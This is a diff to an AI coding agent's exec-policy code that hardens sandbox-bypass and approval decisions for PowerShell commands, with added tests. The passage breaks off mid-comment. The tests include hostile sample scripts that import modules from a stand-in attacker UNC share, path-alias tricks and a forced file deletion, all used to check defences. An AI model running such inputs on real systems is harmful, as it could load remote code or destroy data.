diff --git a/codex-rs/Cargo.lock b/codex-rs/Cargo.lock index 4f001dd073..c595c8e61a 100644 --- a/codex-rs/Cargo.lock +++ b/codex-rs/Cargo.lock @@ -3906,8 +3906,8 @@ dependencies = [ "pretty_assertions", "regex", "serde", - "serde_json", "shlex", + "tempfile", "tree-sitter", "tree-sitter-bash", "url", diff --git a/codex-rs/core/src/exec_policy.rs b/codex-rs/core/src/exec_policy.rs index eb82fecceb..d301474166 100644 --- a/codex-rs/core/src/exec_policy.rs +++ b/codex-rs/core/src/exec_policy.rs @@ -35,6 +35,7 @@ use tracing::instrument; use crate::config::Config; use crate::sandboxing::SandboxPermissions; use crate::tools::sandboxing::ExecApprovalRequirement; +use crate::tools::sandboxing::unsandboxed_execution_allowed; use codex_shell_command::bash::parse_shell_lc_plain_commands; use codex_shell_command::bash::parse_shell_lc_single_command_prefix; use codex_utils_absolute_path::AbsolutePathBuf; @@ -284,13 +285,15 @@ impl ExecPolicyManager { } = req; let exec_policy = self.current(); #[cfg(windows)] - let parsed_powershell = match powershell_policy::prepare(command) { - Some(powershell_policy::PreparedPowerShell::Terminal(requirement)) => { - return requirement; - } - Some(powershell_policy::PreparedPowerShell::Parsed(parsed)) => Some(parsed), - None => None, - }; + let (parsed_powershell, powershell_outer_authority) = + match powershell_policy::prepare(command) { + Some(powershell_policy::PreparedPowerShell::Terminal(requirement)) => { + return requirement; + } + Some(powershell_policy::PreparedPowerShell::Parsed(parsed)) => (Some(parsed), true), + Some(powershell_policy::PreparedPowerShell::Unsupported) => (None, true), + None => (None, false), + }; #[cfg(windows)] let exec_policy_commands = if let Some(parsed) = parsed_powershell.as_ref() { ExecPolicyCommands { @@ -303,6 +306,8 @@ impl ExecPolicyManager { }; #[cfg(not(windows))] let exec_policy_commands = commands_for_exec_policy(command); + #[cfg(not(windows))] + let powershell_outer_authority = false; let ExecPolicyCommands { commands, used_complex_parsing, @@ -328,13 +333,82 @@ impl ExecPolicyManager { let match_options = MatchOptions { resolve_host_executables: true, }; - let evaluation = exec_policy.check_multiple_with_options( + let parsed_powershell_outer = powershell_outer_authority.then_some(command); + let mut evaluation = exec_policy.check_multiple_with_options( commands.iter(), &exec_policy_fallback, &match_options, ); + let outer_matches = parsed_powershell_outer + .map(|outer| { + exec_policy.matches_for_command_with_options( + outer, + /*heuristics_fallback*/ None, + &match_options, + ) + }) + .unwrap_or_default(); + let outer_allow = outer_matches.iter().any(|rule_match| { + matches!( + rule_match, + RuleMatch::PrefixRuleMatch { + decision: Decision::Allow, + .. + } + ) + }); + let exact_outer_allow = parsed_powershell_outer.is_some_and(|outer| { + outer_matches.iter().any(|rule_match| { + matches!( + rule_match, + RuleMatch::PrefixRuleMatch { + matched_prefix, + decision: Decision::Allow, + .. + } if matched_prefix.len() == outer.len() + ) + }) + }); + evaluation.matched_rules.extend(outer_matches); + evaluation.decision = evaluation + .matched_rules + .iter() + .filter(|rule_match| !outer_allow || is_policy_match(rule_match)) + .map(RuleMatch::decision) + .max() + .unwrap_or(Decision::Forbidden); - let requested_amendment = if auto_amendment_allowed { + let file_system_sandbox_policy = permission_profile.file_system_sandbox_policy(); + let managed_filesystem_restrictions = + profile_has_managed_filesystem_restrictions(&permission_profile); + let permission_delta_requires_outer = match (&permission_profile, sandbox_permissions) { + (PermissionProfile::Disabled, _) => false, + (_, SandboxPermissions::WithAdditionalPermissions) => true, + (PermissionProfile::External { .. }, SandboxPermissions::RequireEscalated) => true, + (PermissionProfile::Managed { .. }, SandboxPermissions::RequireEscalated) => { + unsandboxed_execution_allowed(&file_system_sandbox_policy) + } + (_, SandboxPermissions::UseDefault) => false, + }; + let parsed_powershell_needs_outer_approval = parsed_powershell_outer.is_some() + && !exact_outer_allow + && (permission_delta_requires_outer + || (cfg!(windows) + && windows_sandbox_level == WindowsSandboxLevel::Disabled + && managed_filesystem_restrictions)); + if evaluation.decision == Decision::Allow && parsed_powershell_needs_outer_approval { + evaluation.decision = Decision::Prompt; + evaluation + .matched_rules + .push(RuleMatch::HeuristicsRuleMatch { + command: command.to_vec(), + decision: Decision::Prompt, + }); + } + + let requested_amendment = if parsed_powershell_outer.is_some() { + None + } else if auto_amendment_allowed { derive_requested_execpolicy_amendment_from_prefix_rule( prefix_rule.as_ref(), &evaluation.matched_rules, @@ -362,33 +436,48 @@ impl ExecPolicyManager { None => ExecApprovalRequirement::NeedsApproval { reason: derive_prompt_reason(command, &evaluation), proposed_execpolicy_amendment: requested_amendment.or_else(|| { - if auto_amendment_allowed { - try_derive_execpolicy_amendment_for_prompt_rules( - &evaluation.matched_rules, - ) - } else { - None + match ( + parsed_powershell_outer, + prompt_is_rule, + auto_amendment_allowed, + ) { + (Some(outer), false, _) => { + Some(ExecPolicyAmendment::new(outer.to_vec())) + } + (None, _, true) => { + try_derive_execpolicy_amendment_for_prompt_rules( + &evaluation.matched_rules, + ) + } + _ => None, } }), }, } } Decision::Allow => ExecApprovalRequirement::Skip { - // Bypass sandbox only when every parsed command segment is - // explicitly allowed by execpolicy. - bypass_sandbox: commands.iter().all(|command| { - exec_policy - .matches_for_command_with_options( - command, - /*heuristics_fallback*/ None, - &match_options, - ) - .iter() - .any(|rule_match| { - is_policy_match(rule_match) && rule_match.decision() == Decision::Allow - }) - }), - proposed_execpolicy_amendment: if auto_amendment_allowed { + // Lowered PowerShell command names do not bind runtime module, profile, or PATH + // resolution. Only an exact full-wrapper Allow may authorize sandbox bypass. + bypass_sandbox: if parsed_powershell_outer.is_some() { + exact_outer_allow + } else { + commands.iter().all(|command| { + exec_policy + .matches_for_command_with_options( + command, + /*heuristics_fallback*/ None, + &match_options, + ) + .iter() + .any(|rule_match| { + is_policy_match(rule_match) + && rule_match.decision() == Decision::Allow + }) + }) + }, + proposed_execpolicy_amendment: if let Some(outer) = parsed_powershell_outer { + (!exact_outer_allow).then(|| ExecPolicyAmendment::new(outer.to_vec())) + } else if auto_amendment_allowed { try_derive_execpolicy_amendment_for_allow_rules(&evaluation.matched_rules) } else { None diff --git a/codex-rs/core/src/exec_policy_powershell.rs b/codex-rs/core/src/exec_policy_powershell.rs index 8e40f6224e..34dd868787 100644 --- a/codex-rs/core/src/exec_policy_powershell.rs +++ b/codex-rs/core/src/exec_policy_powershell.rs @@ -1,4 +1,5 @@ use codex_shell_command::powershell::PowerShellExecPolicyParse; +use codex_shell_command::powershell::PowerShellExecPolicyParseOutcome; use super::render_shlex_command; use crate::tools::sandboxing::ExecApprovalRequirement; @@ -6,6 +7,7 @@ use crate::tools::sandboxing::ExecApprovalRequirement; pub(super) enum PreparedPowerShell { Terminal(ExecApprovalRequirement), Parsed(ParsedPowerShell), + Unsupported, } pub(super) struct ParsedPowerShell { @@ -13,26 +15,43 @@ pub(super) struct ParsedPowerShell { } pub(super) fn prepare(command: &[String]) -> Option { - match codex_shell_command::powershell::parse_powershell_command_for_exec_policy(command)? { + let parsed = + codex_shell_command::powershell::parse_powershell_command_for_exec_policy(command)?; + prepare_classified(command, parsed) +} + +pub(super) fn prepare_classified( + command: &[String], + parsed: PowerShellExecPolicyParse, +) -> Option { + match parsed { PowerShellExecPolicyParse::TrustedRuntime { - commands: Some(commands), - } if !commands.is_empty() => { - Some(PreparedPowerShell::Parsed(ParsedPowerShell { commands })) - } - PowerShellExecPolicyParse::TrustedRuntime { .. } => Some(forbidden( - command, - "the PowerShell script could not be inspected", - )), + outcome: PowerShellExecPolicyParseOutcome::Commands(commands), + } => Some(PreparedPowerShell::Parsed(ParsedPowerShell { commands })), + PowerShellExecPolicyParse::TrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Unsupported, + } => Some(PreparedPowerShell::Unsupported), + PowerShellExecPolicyParse::TrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Failed, + } => Some(forbidden(command, "the protected PowerShell parser failed")), PowerShellExecPolicyParse::UntrustedRuntime { - commands: Some(commands), - } if !commands.is_empty() => Some(forbidden( + outcome: PowerShellExecPolicyParseOutcome::Commands(_), + } => Some(forbidden( command, "the PowerShell runtime is not a protected system executable", )), - PowerShellExecPolicyParse::UntrustedRuntime { .. } => Some(forbidden( + PowerShellExecPolicyParse::UntrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Unsupported, + } => Some(forbidden( command, "an untrusted PowerShell wrapper could not be inspected with the protected system parser", )), + PowerShellExecPolicyParse::UntrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Failed, + } => Some(forbidden( + command, + "the protected system parser failed while inspecting an untrusted PowerShell wrapper", + )), } } diff --git a/codex-rs/core/src/exec_policy_powershell_tests.rs b/codex-rs/core/src/exec_policy_powershell_tests.rs index f807045570..c28a34cdb4 100644 --- a/codex-rs/core/src/exec_policy_powershell_tests.rs +++ b/codex-rs/core/src/exec_policy_powershell_tests.rs @@ -1,4 +1,6 @@ use super::*; +use codex_shell_command::powershell::PowerShellExecPolicyParse; +use codex_shell_command::powershell::PowerShellExecPolicyParseOutcome; fn trusted_windows_powershell() -> String { codex_shell_command::powershell::try_find_powershell_executable_blocking() @@ -9,6 +11,29 @@ fn trusted_windows_powershell() -> String { .to_string() } +fn powershell_command(script: &str) -> Vec { + vec![ + trusted_windows_powershell(), + "-Command".to_string(), + script.to_string(), + ] +} + +fn outer_result(command: &[String], prompt: bool) -> ExecApprovalRequirement { + let amendment = Some(ExecPolicyAmendment::new(command.to_vec())); + if prompt { + ExecApprovalRequirement::NeedsApproval { + reason: None, + proposed_execpolicy_amendment: amendment, + } + } else { + ExecApprovalRequirement::Skip { + bypass_sandbox: false, + proposed_execpolicy_amendment: amendment, + } + } +} + fn granular(rules: bool, sandbox_approval: bool) -> AskForApproval { AskForApproval::Granular(GranularApprovalConfig { rules, @@ -19,8 +44,39 @@ fn granular(rules: bool, sandbox_approval: bool) -> AskForApproval { }) } +fn approval_policies() -> [AskForApproval; 7] { + [ + AskForApproval::Never, + AskForApproval::OnRequest, + AskForApproval::UnlessTrusted, + granular(/*rules*/ false, /*sandbox_approval*/ false), + granular(/*rules*/ false, /*sandbox_approval*/ true), + granular(/*rules*/ true, /*sandbox_approval*/ false), + granular(/*rules*/ true, /*sandbox_approval*/ true), + ] +} + +async fn requirement( + policy_src: Option<&str>, + command: &[String], + approval_policy: AskForApproval, + permission_profile: PermissionProfile, + sandbox_permissions: SandboxPermissions, +) -> ExecApprovalRequirement { + exec_approval_requirement_for_command(ExecApprovalRequirementScenario { + policy_src: policy_src.map(str::to_owned), + command: command.to_vec(), + approval_policy, + permission_profile, + sandbox_permissions, + prefix_rule: None, + }) + .await +} + #[tokio::test] -async fn rejects_every_noninspectable_or_untrusted_powershell_state() { +async fn rejects_untrusted_powershell_across_approval_and_sandbox_modes() { + let trusted = trusted_windows_powershell(); let cases = [ ( "untrusted parsed runtime", @@ -28,16 +84,6 @@ async fn rejects_every_noninspectable_or_untrusted_powershell_state() { Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#), "the PowerShell runtime is not a protected system executable", ), - ( - "trusted empty body", - vec![ - trusted_windows_powershell(), - "-Command".into(), - String::new(), - ], - None, - "the PowerShell script could not be inspected", - ), ( "untrusted opaque body", vec_str(&[ @@ -49,6 +95,34 @@ async fn rejects_every_noninspectable_or_untrusted_powershell_state() { None, "an untrusted PowerShell wrapper could not be inspected with the protected system parser", ), + ( + "full outer rule for bare runtime", + vec_str(&["powershell.exe", "-Command", "echo allowed"]), + Some( + r#"prefix_rule(pattern=["powershell.exe", "-Command", "echo allowed"], decision="allow")"#, + ), + "the PowerShell runtime is not a protected system executable", + ), + ( + "verbatim path alias", + vec![ + format!(r"\\?\{trusted}."), + "-Command".to_string(), + "echo allowed".to_string(), + ], + Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#), + "the PowerShell runtime is not a protected system executable", + ), + ( + "device path alias", + vec![ + format!(r"\\.\{trusted} "), + "-Command".to_string(), + "echo allowed".to_string(), + ], + Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#), + "the PowerShell runtime is not a protected system executable", + ), ]; let policies = [ AskForApproval::Never, @@ -95,3 +169,189 @@ async fn rejects_every_noninspectable_or_untrusted_powershell_state() { } } } + +#[test] +fn parser_failures_are_terminal_for_trusted_and_untrusted_runtimes() { + let command = powershell_command("Get-Content Cargo.toml"); + let rendered = render_shlex_command(&command); + let cases = [ + ( + PowerShellExecPolicyParse::TrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Failed, + }, + "the protected PowerShell parser failed", + ), + ( + PowerShellExecPolicyParse::UntrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Failed, + }, + "the protected system parser failed while inspecting an untrusted PowerShell wrapper", + ), + ]; + + for (parsed, reason) in cases { + let Some(powershell_policy::PreparedPowerShell::Terminal(requirement)) = + powershell_policy::prepare_classified(&command, parsed) + else { + panic!("parser failure must produce a terminal policy result"); + }; + pretty_assertions::assert_eq!( + requirement, + ExecApprovalRequirement::Forbidden { + reason: format!("`{rendered}` rejected: {reason}"), + }, + ); + } +} + +#[tokio::test] +async fn trusted_unsupported_scripts_use_the_generic_outer_policy() { + let scripts = [ + "", + "param([string]$path) Get-Content Cargo.toml", + "#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml", + "UsInG MoDuLe '\\\\attacker\\share\\Evil.psd1'\nGet-Content Cargo.toml", + "configuration CodexProbe { Import-DscResource -ModuleName '\\\\attacker\\share\\Evil.psd1' }", + "[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]", + // The raw pre-parser gate intentionally accepts false positives in exchange for + // never invoking SMA on a possible parse-time construct. + "Write-Output 'confusing but inert'", + ]; + let profiles = [PermissionProfile::Disabled, PermissionProfile::read_only()]; + + for script in scripts { + let command = powershell_command(script); + for approval_policy in approval_policies() { + for permission_profile in &profiles { + let requirement = requirement( + None, + &command, + approval_policy, + permission_profile.clone(), + SandboxPermissions::UseDefault, + ) + .await; + let expected = + outer_result(&command, approval_policy == AskForApproval::UnlessTrusted); + + pretty_assertions::assert_eq!( + requirement, + expected, + "script {script:?} with {approval_policy:?} and {permission_profile:?}", + ); + } + } + } +} + +#[tokio::test] +async fn dangerous_trusted_unsupported_scripts_keep_generic_policy_protections() { + let command = powershell_command("Write-Output 'using'; Remove-Item target -Force"); + let rendered = render_shlex_command(&command); + let profiles = [PermissionProfile::Disabled, PermissionProfile::read_only()]; + + for approval_policy in approval_policies() { + for permission_profile in &profiles { + let requirement = requirement( + None, + &command, + approval_policy, + permission_profile.clone(), + SandboxPermissions::UseDefault, + ) + .await; + let expected = match approval_policy { + AskForApproval::Never + if matches!(permission_profile, PermissionProfile::Disabled) => + { + outer_result(&command, false) + } + AskForApproval::Never => ExecApprovalRequirement::Forbidden { + reason: format!("`{rendered}` rejected: blocked by policy"), + }, + AskForApproval::Granular(config) if !config.allows_sandbox_approval() => { + ExecApprovalRequirement::Forbidden { + reason: REJECT_SANDBOX_APPROVAL_REASON.to_string(), + } + } + _ => outer_result(&command, true), + }; + + pretty_assertions::assert_eq!( + requirement, + expected, + "{approval_policy:?} with {permission_profile:?}", + ); + } + } +} + +#[tokio::test] +async fn sandbox_override_on_trusted_unsupported_script_uses_outer_argv() { + let command = powershell_command("Write-Output 'confusing but inert'"); + + for (approval_policy, permits_prompt) in [ + (AskForApproval::OnRequest, true), + (granular(/*rules*/ true, /*sandbox_approval*/ true), true), + (granular(/*rules*/ true, /*sandbox_approval*/ false), false), + ] { + pretty_assertions::assert_eq!( + requirement( + None, + &command, + approval_policy, + PermissionProfile::read_only(), + SandboxPermissions::RequireEscalated, + ) + .await, + if permits_prompt { + outer_result(&command, true) + } else { + ExecApprovalRequirement::Forbidden { + reason: REJECT_SANDBOX_APPROVAL_REASON.to_string(), + } + }, + ); + } +} + +#[tokio::test] +async fn trusted_unsupported_scripts_only_match_outer_rules() { + let inner_rule_command = powershell_command( + "#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml", + ); + + pretty_assertions::assert_eq!( + requirement( + Some(r#"prefix_rule(pattern=["Get-Content"], decision="allow")"#), + &inner_rule_command, + AskForApproval::UnlessTrusted, + PermissionProfile::read_only(), + SandboxPermissions::UseDefault, + ) + .await, + outer_result(&inner_rule_command, true), + ); + + let command = powershell_command("Write-Output 'confusing but inert'"); + let outer_pattern = command + .iter() + .map(|word| format!(r#""{}""#, starlark_string(word))) + .collect::>() + .join(", "); + let policy_src = format!(r#"prefix_rule(pattern=[{outer_pattern}], decision="allow")"#); + pretty_assertions::assert_eq!( + requirement( + Some(&policy_src), + &command, + AskForApproval::UnlessTrusted, + PermissionProfile::read_only(), + SandboxPermissions::UseDefault, + ) + .await, + ExecApprovalRequirement::Skip { + bypass_sandbox: true, + proposed_execpolicy_amendment: None, + }, + ); +} diff --git a/codex-rs/core/src/exec_policy_windows_tests.rs b/codex-rs/core/src/exec_policy_windows_tests.rs index 7951ff2c92..491190554a 100644 --- a/codex-rs/core/src/exec_policy_windows_tests.rs +++ b/codex-rs/core/src/exec_policy_windows_tests.rs @@ -11,6 +11,80 @@ static TRUSTED_WINDOWS_POWERSHELL_EXE: LazyLock = LazyLock::new(|| { .to_string() }); +fn powershell_command(script: &str) -> Vec { + vec![ + TRUSTED_WINDOWS_POWERSHELL_EXE.to_string(), + "-NoProfile".to_string(), + "-Command".to_string(), + script.to_string(), + ] +} + +fn prefix_rule_for(command: &[String], decision: &str) -> String { + let pattern = command + .iter() + .map(|word| format!(r#""{}""#, starlark_string(word))) + .collect::>() + .join(", "); + format!(r#"prefix_rule(pattern=[{pattern}], decision="{decision}")"#) +} + +fn skip_outer(command: &[String], bypass_sandbox: bool) -> ExecApprovalRequirement { + ExecApprovalRequirement::Skip { + bypass_sandbox, + proposed_execpolicy_amendment: (!bypass_sandbox) + .then(|| ExecPolicyAmendment::new(command.to_vec())), + } +} + +fn prompt_outer(command: &[String]) -> ExecApprovalRequirement { + ExecApprovalRequirement::NeedsApproval { + reason: None, + proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(command.to_vec())), + } +} + +async fn windows_requirement( + policy_src: String, + command: &[String], + approval_policy: AskForApproval, + permission_profile: PermissionProfile, + windows_sandbox_level: WindowsSandboxLevel, + sandbox_permissions: SandboxPermissions, +) -> ExecApprovalRequirement { + ExecPolicyManager::new(policy_from_src(Some(&policy_src))) + .create_exec_approval_requirement_for_command(ExecApprovalRequest { + command, + approval_policy, + permission_profile, + windows_sandbox_level, + sandbox_permissions, + prefix_rule: None, + }) + .await +} + +async fn default_windows_requirement( + policy_src: String, + command: &[String], +) -> ExecApprovalRequirement { + windows_requirement( + policy_src, + command, + AskForApproval::UnlessTrusted, + PermissionProfile::read_only(), + WindowsSandboxLevel::RestrictedToken, + SandboxPermissions::UseDefault, + ) + .await +} + +fn external_profile() -> PermissionProfile { + PermissionProfile::External { + network: NetworkSandboxPolicy::Restricted, + } +} + #[tokio::test] async fn evaluates_powershell_inner_commands_against_prompt_rules() { assert_exec_approval_requirement_for_command( @@ -35,27 +109,271 @@ async fn evaluates_powershell_inner_commands_against_prompt_rules() { } #[tokio::test] -async fn evaluates_powershell_inner_commands_against_allow_rules() { - assert_exec_approval_requirement_for_command( - ExecApprovalRequirementScenario { - policy_src: Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#.to_string()), - command: vec![ - TRUSTED_WINDOWS_POWERSHELL_EXE.to_string(), - "-NoProfile".to_string(), - "-Command".to_string(), - "echo blocked".to_string(), - ], - approval_policy: AskForApproval::UnlessTrusted, - permission_profile: PermissionProfile::read_only(), - sandbox_permissions: SandboxPermissions::UseDefault, - prefix_rule: None, - }, - ExecApprovalRequirement::Skip { - bypass_sandbox: true, - proposed_execpolicy_amendment: None, - }, - ) - .await; +async fn inner_allows_for_runtime_resolved_names_remain_sandboxed() { + for (script, inner) in [ + ("echo blocked", "echo"), + ("Get-Content Cargo.toml", "Get-Content"), + ("Invoke-ProfileHook test", "Invoke-ProfileHook"), + ("codex-path-helper --version", "codex-path-helper"), + ] { + let command = powershell_command(script); + assert_eq!( + default_windows_requirement( + format!(r#"prefix_rule(pattern=["{inner}"], decision="allow")"#), + &command, + ) + .await, + skip_outer(&command, false), + ); + } +} + +#[tokio::test] +async fn only_exact_outer_rules_can_bypass_runtime_resolution() { + let command = powershell_command("Remove-Item target -Force"); + let executable = starlark_string(&command[0]); + let rest = command[1..] + .iter() + .map(|word| format!(r#""{}""#, starlark_string(word))) + .collect::>() + .join(", "); + let mismatched = powershell_command("Remove-Item other -Force"); + let cases = [ + (prefix_rule_for(&command[..1], "allow"), Some(false)), + (prefix_rule_for(&command, "allow"), Some(true)), + ( + format!( + "host_executable(name = \"powershell\", paths = [\"{executable}\"])\n\ + prefix_rule(pattern=[\"powershell\", {rest}], decision=\"allow\")" + ), + Some(true), + ), + ( + format!( + "prefix_rule(pattern=[[\"{executable}\", \"C:\\\\other\\\\powershell.exe\"], \ + [\"-NoProfile\", \"-noprofile\"], \"-Command\", \ + \"Remove-Item target -Force\"], decision=\"allow\")" + ), + Some(true), + ), + (prefix_rule_for(&mismatched, "allow"), None), + ]; + + for (policy_src, bypass_sandbox) in cases { + assert_eq!( + default_windows_requirement(policy_src, &command).await, + bypass_sandbox.map_or_else( + || prompt_outer(&command), + |bypass| skip_outer(&command, bypass) + ), + ); + } +} + +#[tokio::test] +async fn full_outer_allow_does_not_bypass_extended_unsupported_wrapper() { + use SandboxPermissions::*; + use WindowsSandboxLevel::*; + + let command = powershell_command("Get-Content Cargo.toml"); + let policy_src = prefix_rule_for(&command, "allow"); + let mut extended = command.clone(); + extended.push("trailing-runtime-argument".to_string()); + + for (profile, level, permissions, prompts) in [ + ( + PermissionProfile::read_only(), + RestrictedToken, + UseDefault, + false, + ), + ( + PermissionProfile::read_only(), + RestrictedToken, + RequireEscalated, + true, + ), + ( + PermissionProfile::read_only(), + RestrictedToken, + WithAdditionalPermissions, + true, + ), + (PermissionProfile::read_only(), Disabled, UseDefault, true), + ( + PermissionProfile::Disabled, + RestrictedToken, + UseDefault, + false, + ), + ] { + assert_eq!( + windows_requirement( + policy_src.clone(), + &extended, + AskForApproval::UnlessTrusted, + profile, + level, + permissions, + ) + .await, + if prompts { + prompt_outer(&extended) + } else { + skip_outer(&extended, false) + }, + ); + } +} + +#[tokio::test] +async fn explicit_inner_and_outer_restrictions_remain_strictest() { + let command = powershell_command("Get-Content Cargo.toml"); + let outer_allow = prefix_rule_for(&command, "allow"); + let inner_allow = r#"prefix_rule(pattern=["Get-Content"], decision="allow")"#; + let rendered = render_shlex_command(&command); + + for (inner, decision) in [ + (true, "prompt"), + (true, "forbidden"), + (false, "prompt"), + (false, "forbidden"), + ] { + let (policy_src, forbidden_prefix) = if inner { + ( + format!( + "{outer_allow}\nprefix_rule(pattern=[\"Get-Content\"], decision=\"{decision}\")" + ), + "Get-Content".to_string(), + ) + } else { + ( + format!("{inner_allow}\n{}", prefix_rule_for(&command, decision)), + rendered.clone(), + ) + }; + let expected = if decision == "prompt" { + ExecApprovalRequirement::NeedsApproval { + reason: Some(format!("`{rendered}` requires approval by policy")), + proposed_execpolicy_amendment: None, + } + } else { + ExecApprovalRequirement::Forbidden { + reason: format!( + "`{rendered}` rejected: policy forbids commands starting with `{forbidden_prefix}`" + ), + } + }; + assert_eq!( + windows_requirement( + policy_src, + &command, + AskForApproval::OnRequest, + PermissionProfile::read_only(), + WindowsSandboxLevel::RestrictedToken, + SandboxPermissions::UseDefault, + ) + .await, + expected, + ); + } +} + +#[tokio::test] +async fn outer_authority_tracks_permission_deltas_and_missing_managed_sandbox() { + use SandboxPermissions::*; + use WindowsSandboxLevel::*; + + let command = powershell_command("Get-Content Cargo.toml"); + let inner_allow = r#"prefix_rule(pattern=["Get-Content"], decision="allow")"#.to_string(); + let denied_read_profile = PermissionProfile::from_runtime_permissions( + &FileSystemSandboxPolicy::restricted(vec![FileSystemSandboxEntry { + path: FileSystemPath::GlobPattern { + pattern: "**/*.env".to_string(), + }, + access: FileSystemAccessMode::Deny, + }]), + NetworkSandboxPolicy::Restricted, + ); + + for (profile, level, permissions, prompts) in [ + ( + PermissionProfile::read_only(), + RestrictedToken, + RequireEscalated, + true, + ), + (PermissionProfile::read_only(), Disabled, UseDefault, true), + ( + denied_read_profile, + RestrictedToken, + RequireEscalated, + false, + ), + ( + PermissionProfile::read_only(), + RestrictedToken, + WithAdditionalPermissions, + true, + ), + ( + PermissionProfile::Disabled, + RestrictedToken, + RequireEscalated, + false, + ), + ( + PermissionProfile::Disabled, + RestrictedToken, + WithAdditionalPermissions, + false, + ), + (external_profile(), RestrictedToken, UseDefault, false), + (external_profile(), RestrictedToken, RequireEscalated, true), + ( + external_profile(), + RestrictedToken, + WithAdditionalPermissions, + true, + ), + ] { + assert_eq!( + windows_requirement( + inner_allow.clone(), + &command, + AskForApproval::OnRequest, + profile, + level, + permissions, + ) + .await, + if prompts { + prompt_outer(&command) + } else { + skip_outer(&command, false) + }, + ); + } + + let exact_allow = format!("{inner_allow}\n{}", prefix_rule_for(&command, "allow")); + for (level, permissions) in [ + (RestrictedToken, RequireEscalated), + (RestrictedToken, WithAdditionalPermissions), + (Disabled, UseDefault), + ] { + assert_eq!( + windows_requirement( + exact_allow.clone(), + &command, + AskForApproval::OnRequest, + PermissionProfile::read_only(), + level, + permissions, + ) + .await, + skip_outer(&command, true), + ); + } } #[test] @@ -183,21 +501,12 @@ fn writable_windows_policy_without_sandbox_backend_still_requires_approval() { #[tokio::test] async fn unmatched_dangerous_powershell_inner_commands_require_approval() { - let inner_command = vec![ - "Remove-Item".to_string(), - "test".to_string(), - "-Force".to_string(), - ]; + let command = powershell_command("Remove-Item test -Force"); assert_exec_approval_requirement_for_command( ExecApprovalRequirementScenario { policy_src: None, - command: vec![ - TRUSTED_WINDOWS_POWERSHELL_EXE.to_string(), - "-NoProfile".to_string(), - "-Command".to_string(), - "Remove-Item test -Force".to_string(), - ], + command: command.clone(), approval_policy: AskForApproval::OnRequest, permission_profile: PermissionProfile::Disabled, sandbox_permissions: SandboxPermissions::UseDefault, @@ -205,7 +514,28 @@ async fn unmatched_dangerous_powershell_inner_commands_require_approval() { }, ExecApprovalRequirement::NeedsApproval { reason: None, - proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(inner_command)), + proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(command)), + }, + ) + .await; +} + +#[tokio::test] +async fn mixed_powershell_inner_commands_use_the_strictest_decision() { + let command = powershell_command("echo safe; Remove-Item target -Force"); + + assert_exec_approval_requirement_for_command( + ExecApprovalRequirementScenario { + policy_src: Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#.to_string()), + command: command.clone(), + approval_policy: AskForApproval::OnRequest, + permission_profile: PermissionProfile::Disabled, + sandbox_permissions: SandboxPermissions::UseDefault, + prefix_rule: None, + }, + ExecApprovalRequirement::NeedsApproval { + reason: None, + proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(command)), }, ) .await; diff --git a/codex-rs/shell-command/Cargo.toml b/codex-rs/shell-command/Cargo.toml index 908a5407fe..6671158668 100644 --- a/codex-rs/shell-command/Cargo.toml +++ b/codex-rs/shell-command/Cargo.toml @@ -15,7 +15,6 @@ libc = { workspace = true } once_cell = { workspace = true } regex = { workspace = true } serde = { workspace = true, features = ["derive"] } -serde_json = { workspace = true } shlex = { workspace = true } tree-sitter = { workspace = true } tree-sitter-bash = { workspace = true } @@ -32,6 +31,7 @@ windows-sys = { version = "0.52", features = [ [dev-dependencies] anyhow = { workspace = true } pretty_assertions = { workspace = true } +tempfile = { workspace = true } [lib] doctest = false diff --git a/codex-rs/shell-command/src/command_safety/mod.rs b/codex-rs/shell-command/src/command_safety/mod.rs index be28d691ad..58133e55a4 100644 --- a/codex-rs/shell-command/src/command_safety/mod.rs +++ b/codex-rs/shell-command/src/command_safety/mod.rs @@ -1,14 +1,16 @@ mod powershell_parser; +mod powershell_preparse; pub mod is_dangerous_command; pub mod is_safe_command; #[cfg(windows)] pub(crate) mod windows_safe_commands; +pub(crate) use powershell_parser::PowershellParseOutcome; pub(crate) use powershell_parser::TrustedPowerShellFlavor; pub(crate) use powershell_parser::is_trusted_powershell_parser_executable; +pub(crate) use powershell_parser::parse_powershell_ast_commands_with_trusted_flavor; #[cfg(all(test, windows))] pub(crate) use powershell_parser::trusted_standard_pwsh_invocation_path; #[cfg(all(test, windows))] pub(crate) use powershell_parser::trusted_windows_powershell_invocation_path; pub(crate) use powershell_parser::try_parse_powershell_ast_commands; -pub(crate) use powershell_parser::try_parse_powershell_ast_commands_with_trusted_flavor; diff --git a/codex-rs/shell-command/src/command_safety/powershell_parser.ps1 b/codex-rs/shell-command/src/command_safety/powershell_parser.ps1 index 92291e7c98..ba17f52842 100644 --- a/codex-rs/shell-command/src/command_safety/powershell_parser.ps1 +++ b/codex-rs/shell-command/src/command_safety/powershell_parser.ps1 @@ -1,20 +1,22 @@ $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' +$PSModuleAutoLoadingPreference = 'None' # Long-lived PowerShell AST parser used by the Rust command-safety layer on Windows. # The caller starts one child process per PowerShell executable variant and then sends -# newline-delimited JSON requests over stdin: -# { "id": , "payload": "" } -# We answer with one compact JSON line per request: -# { "id": , "status": "ok", "commands": [["Get-Content", "foo.txt"]] } -# or: -# { "id": , "status": "parse_failed" | "parse_errors" | "unsupported" } +# tab-delimited requests over stdin: +# \t +# We answer with one tab-delimited line per request: +# \t\t +# The payload is empty for parse_failed, parse_errors, and unsupported responses. +# This protocol intentionally uses only .NET methods. In particular, it must not invoke JSON +# cmdlets because PowerShell can resolve those through a user-controlled module search path. # # "unsupported" is intentional: it means the script parsed successfully, but the AST # included constructs that we conservatively refuse to lower into argv-like command words. -# The Rust side treats that 